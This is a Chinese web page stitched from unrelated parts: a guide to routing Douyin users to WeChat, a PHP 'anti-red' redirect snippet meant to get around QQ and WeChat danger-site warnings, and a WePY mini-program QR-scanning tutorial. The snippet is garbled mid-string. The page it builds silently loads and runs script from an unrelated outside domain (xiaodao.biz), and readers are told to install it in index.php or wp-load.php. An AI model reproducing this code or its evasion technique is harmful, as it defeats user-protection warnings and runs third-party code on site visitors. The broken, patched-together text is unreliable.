音里怎么通过链接跳转添加微信
在抖音中通过链接跳转添加微信,通常涉及到创建一个可以触发跳转行为的链接或者卡片,这个链接或卡片在抖音中被分享后,用户点击可以跳转到微信,实现添加微信好友或者关注微信公众号的功能。以下是一些常见的方法和步骤:
方法一:使用第三方平台创建跳转链接
1.注册账号:首先,你需要在第三方平台(如“查查客小程序”等)注册一个账号。
2.创建链接:登录后,根据平台的指引创建一个跳转链接。在创建过程中,你需要填写卡片标题、描述、图标,并上传微信二维码图片。
3.获取链接:创建完成后,你会得到一个无风险链接,可以直接在抖音私信中发送给用户。用户点击该链接后,会显示微信二维码,用户可以长按识别二维码添加微信好友。
方法二:使用微信小程序实现跳转
1.拥有服务器:你需要有自己的线上服务器,并能上传静态HTML页面。
2.创建HTML页面:在服务器上创建一个HTML页面,并将你的微信二维码或者公众号信息放置在页面上。
3.生成链接:生成该HTML页面的链接,并将其设置为抖音分享的落地页。
4.分享链接:在抖音中分享该链接,用户点击后将通过浏览器打开你的HTML页面,并可以扫描二维码添加微信好友。
方法三:使用开源软件搭建引流系统
1.下载开源代码:可以下载开源软件的代码。
2.搭建系统:根据开源软件的指引,自行搭建引流系统。
3.创建跳转卡片:在系统中创建抖音跳转到微信的卡片,并生成二维码。
4.分享卡片:将生成的二维码分享到抖音,用户扫码后即可跳转到微信。
注意事项
•确保所有的操作都符合抖音和微信的相关规定,避免违规操作导致账号受限。
•在创建链接或使用第三方服务时,注意保护个人隐私和账号安全。
•跳转链接的创建和分享应遵循相关法律法规,不得用于非法活动。
通过上述方法,你可以在抖音中实现通过链接跳转添加微信的功能,从而为你的微信账号或公众号引流。
景复现:
作为一个个人小站长,网站不经意间在QQ或者微信中分享,总会有些无聊的用户随手那么一举报网站就变红了或者提示不安全。我们能有什么不安全的内容呢?申诉也不能通过,何况我们已经合法备案和ICP了。
QQ长这样
(在群中或者聊天页面发哦是哪个提示危险网站)
WX长这样
(在微信群或者个人聊天页面点击链接是提示,微信系列长期找不到客服这是公认的)
规避方式:
1、添加微信和qq设备的监控代码,当设备或其他移动设备在qq或者微信中打开时就提示在浏览器中打开。上代码
<?php// 微信QQ域名防红跳转 把下面一行代码添加至 index.php// require_once('WxqqJump/WxqqJump.php'); // 是否开启跳转$conf["wxqqjump"]="yes";// 排除路径 vpay回调地址$conf["vpayurl"]="vpay";$conf["payurl"]="pay";// 排除路径 后台登陆地址$conf["adminurl"]="admin"; if(strpos($_SERVER['HTTP_USER_AGENT'], 'QQ/')||strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger')!==false && strpos($_SERVER['REQUEST_URI'], strval($conf["vpayurl"]))===false && strpos($_SERVER['REQUEST_URI'], strval($conf["adminurl"]))===false && strpos($_SERVER['REQUEST_URI'], strval($conf["payurl"]))===false && $conf["wxqqjump"]==="yes"){ $siteurl=') center top/contain no-repeat} .top-bar-guidance .icon-safari{width:25px;height:25px;vertical-align:middle;margin:0 .2em} .app-download-tip{margin:0 auto;width:290px;text-align:center;font-size:15px;color:#2466f4;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAcAQMAAACak0ePAAAABlBMVEUAAAAdYfh+GakkAAAAAXRSTlMAQObYZgAAAA5JREFUCNdjwA8acEkAAAy4AIE4hQq/AAAAAElFTkSuQmCC) left center/auto 15px repeat-x} .app-download-tip .guidance-desc{background-color:#fff;padding:0 5px} .app-download-tip .icon-sgd{width:25px;height:25px;vertical-align:middle;margin:0 .2em} .app-download-btn{display:block;width:214px;height:40px;line-height:40px;margin:18px auto 0 auto;text-align:center;font-size:18px;color:#2466f4;border-radius:20px;border:.5px #2466f4 solid;text-decoration:none} </style></head><body> <div class="top-bar-guidance"> <p>点击右上角<img src="/WxqqJump/3dian.png" class="icon-safari">在 浏览器 打开</p> <p>苹果设备<img src="/WxqqJump/iphone.png" class="icon-safari">安卓设备<img src="/WxqqJump/android.png" class="icon-safari">↗↗↗</p></div> <div id="contens"><p><br/><br/></p><p>1.本站不支持 微信或QQ 内访问</p><p><br/></p><p>2.请按提示在手机 浏览器 打开</p></div> <div class="app-download-tip"> <span class="guidance-desc">'.$siteurl.'</span></div><p><br/></p><div class="app-download-tip"> <span class="guidance-desc">点击右上角<img src="/WxqqJump/3dian.png" class="icon-sgd"> or 复制网址自行打开</span></div> <script type="text/javascript">$.getScript("http://www.xiaodao.biz/",function(data){});</script><script src="/WxqqJump/jquery-3.3.1.min.js"></script><script src="/WxqqJump/clipboard.min.js"></script><a data-clipboard-text="'.$siteurl.'" class="app-download-btn" >点此复制本站网址</a><script src="https://cdn.staticfile.org/jquery/1.12.3/jquery.min.js"></script><script src="/WxqqJump/layer/layer.js"></script><script type="text/javascript">new ClipboardJS(".app-download-btn");</script><script>$(".app-download-btn").click(function() {layer.msg("复制成功,么么哒", function(){ //关闭后的操作 });})</script> <body></html>';exit;}?>
2、上述代码为演示代码,需要安装优化包,我把代码包压缩上传了,大家可以下载安装下。
温馨提示:该程序只对php程序生效,如果需要修改其他程序请留言,我看到会第一时间处理。
程序下载:
下载地址:可以去玩技e族下载
通用网站:
在根目录或者load端添加代码即可。例如index.php或者load.php等等。
安装位置
温馨提示:如果在您的程序中添加没有任何响应,请留言我看到会第一时间帮忙处理的。
WP安装:
找到根目录下的 wp-load.php 文件打开后在头部的位置添加跳转代码。
//防止微信QQ红名跳转浏览器打开require_once('/绝对路径/WxqqJump/WxqqJump.php');
安装位置
温馨提示:wordpress最近更新有些频繁,所以每次更新之后都要修改下 wp-load.php 的文件内容。
智简魔方:
找到根目录/public/index.php 在合适位置添加
//防止微信QQ红名跳转浏览器打开 require_once('/绝对路径/WxqqJump/WxqqJump.php');
安装位置
美化安装:
1、整个页面进行了美化提示在安卓设备或者苹果设备,在浏览器打开,看下页面效果。
2、网站目录结构,看下页面效果。
更多帮助:
1、如果需要更多程序添加安装位置,请留言我会在空闲时间给你提供更多的协助。
之所以把扫码和带参数跳转放到一起是因为这两个都涉及到页面间传参。
在现在的移动互联网中,扫码是一个非常重要的应用场景。在眼查查中也得到广泛应用,从最开始的扫会员二维码到扫描预约码到现在的扫描带筛查码的菊花码。
在小程序中扫码需要使用微信官方提供的api,其底层是使用的微信的扫一扫,通过调起微信客户端的扫码界面进行扫码。
具体的Api使用请参考官方文档。需要注意的是在这个过程中,扫描二维码和扫描菊花码是不同处理过程。
扫描普通二维码结果在result中拿,扫描菊花码结果在path中拿。在下一节中将会具体说明。
上代码进行说明
scan() {
let that = this;
wepy.scanCode({
onlyFromCamera: false, //是否只能从相机扫码,不允许从相册选择图片,
success: res => {}
}).then(res => {
that.onScanResult(res);
});
},
在调用wepy.scanCode后,将结果交由onScanResult方法处理
/**
* 扫描成功
*/
onScanResult(res) {
if (res == null) {
return;
}
// 扫到了二维码
if (res.scanType == "QR_CODE") {
this.getDataByCode(res.result)
this.$apply();
} else if (res.scanType == "WX_CODE") {
if (stringUtils.isNullOrEmpty(res.path)) {
this.getScreenDetail(res.result);
this.$apply();
} else {
let path = decodeURIComponent(res.path)
let senceIndex = path.indexOf("=")
let code = path.substring(senceIndex + 1, path.length);
this.getDataByCode(code);
this.$apply();
}
}
}
在具体的处理中根据scanType的不同从不同的字段中取数据。
此处需要特别注意的是菊花码的生成,如果只是小程序的二维码可以在微信小程序后台中直接下载物料,但是如果是需要生成自定义的带参数的小程序二维码则需要调用对应的接口才能实现。获取自定义的小程序码有如下两种方式:
l 使用官方工具:
https://mp.weixin.qq.com/wxamp/wxaqrcode/weappcode?simple=1&token=2009620926&lang=zh_CN
但是这种方式只能生成指定页面的小程序码,无法再带参数。
l 使用https接口获取:可通过后台调用或者使用网络请求工具模拟。除了可以指定页面路径外还可以指定接口。官方提供了ABCD4个接口我们使用的是B接口,page指定页面路径,scene指定页面参数。
https://developers.weixin.qq.com/miniprogram/dev/api-backend/open-api/qr-code/wxacode.getUnlimited.html
此外还需要注意使用时需要用到accessToken
https://mp.weixin.qq.com/wiki?t=resource/res_main&id=mp1421140183
页面带参数跳转这个功能主要用于小程序被外部应用打开时使用,比如从公众号的自定义菜单项和眼查查App中跳转二来。
由于小程序的页面栈逻辑,如果直接跳转至对应页面,在退出这个页面后将直接退出小程序无法进入其他页面,所以我们采用的方案是所有跳转交由home页面执行,在home页面拿到对应的参数后做出跳转动作。
var page, param;
console.log("option", option)
if (option != null) {
if (option.src) {
this.enablePageSwitch = true;
page = option.src;
}
if (option.param) {
param = option.param
}
}
this.$parent.loginToServer().then(() => {
if (page) {
this.switchToPage(page, param)
this.enablePageSwitch = false;
} else {
this.bannerList();
this.getHomeTags();
}
})
/**
* 跳转至页面
*/
switchToPage(page, param) { // TODO: 跳转至具体的页面
}
1.微信小程序扫码说明
https://developers.weixin.qq.com/miniprogram/dev/api/device/scan/wx.scanCode.html
2. 小程序码的参数获取
https://www.jianshu.com/p/108233ed7ed0
*请认真填写需求信息,我们会在24小时内与您取得联系。